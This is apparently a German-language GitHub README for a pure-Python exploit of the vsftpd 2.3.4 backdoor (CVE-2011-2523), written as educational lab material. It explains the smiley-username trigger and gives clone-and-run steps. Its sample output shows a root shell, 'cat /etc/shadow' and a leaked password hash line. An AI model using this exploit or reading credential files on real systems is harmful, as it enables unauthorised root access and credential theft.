Von Grund auf entwickelte Exploits in Python. Kein Metasploit. Keine Frameworks. Raw-Socket-Implementierung echter CVEs gegen autorisierte Lab-Ziele.
vsftpd (Very Secure FTP Daemon) ist ein FTP-Server für Unix-ähnliche Plattformen, einschließlich Linux, der unter der GNU General Public License vertrieben wird.
Im Juli 2011 wurde entdeckt, dass vsftpd Version 2.3.4 — verfügbar zum Download zwischen dem 30. Juni und 3. Juli 2011 — kompromittiert worden war. Ein unbekannter Angreifer erlangte Zugriff auf den vsftpd-Distributionsserver und injizierte eine Backdoor direkt in den Quellcode, bevor er an die Benutzer ausgeliefert wurde.
Dies war kein Fehler im Design von vsftpd. Es war ein Supply-Chain-Angriff — die legitime Software wurde durch eine bösartig modifizierte Version ersetzt.
Der injizierte Backdoor-Code überwacht das FTP-Benutzernamenfeld während des Logins.
Wenn der Benutzername :) (ein Smiley) enthält, startet die Backdoor eine
, auf der Zielmaschine — ohne
erforderliche Authentifizierung.
Angriffsablauf:
Angreifer → Port 21 (FTP) → sendet USER mit :) → Backdoor wird ausgelöst → Root-Shell öffnet sich auf Port 6200
Angreifer → Port 6200 → vollständige interaktive Root-Shell
CWE-Klassifizierung: CWE-78 — Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
Dieser Exploit ist von Grund auf in reinem Python geschrieben und verwendet nur die
Standardbibliothek (socket). Kein Metasploit. Keine Exploit-Frameworks. Keine externen
Abhängigkeiten.
Schritt für Schritt:
:), um die Backdoor auszulösen# Clone the repo
git clone https://github.com/rushikesh-a-bhujbal/CVE-2011-2523.git
cd CVE-2011-2523
# Set your target IP inside main.py
target_ip = "YOUR_METASPLOITABLE2_IP"
# Run
python3 main.py
Beispielausgabe:
[+] Vulnerable version confirmed. Proceeding...
[+] Backdoor triggered. Opening shell on port 6200...
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
cat /etc/shadow
root:
1
1/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
exit
| Szenario | Verhalten |
|---|---|
| Port 21 geschlossen | Gibt "Port is closed" aus, beendet sich sauber |
| Verbindungs-Timeout | Gibt "Connection timed out" aus, beendet sich sauber |
| Ungültiger Hostname/IP | Gibt "Invalid target" aus, beendet sich sauber |
| Falsche vsftpd-Version | Gibt Mismatch-Meldung aus, beendet sich sauber |
| Port 6200 nicht erreichbar | Gibt Backdoor-Fehlermeldung aus, beendet sich sauber |
Dieser Exploit wurde ausschließlich zu Bildungszwecken und für autorisierten Sicherheitsforschungseinsatz entwickelt.
Erstellt und getestet ausschließlich gegen eine lokale Metasploitable2-Virtual-Machine in einer vollständig isolierten Laborumgebung.
Verwenden Sie dies nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugte Nutzung ist illegal gemäß dem Computer Fraud and Abuse Act (CFAA) und entsprechenden Gesetzen weltweit.
Der Autor übernimmt keine Verantwortung für den Missbrauch dieses Codes.
Rushikesh Bhujbal
Security Research & Exploit Development
GitHub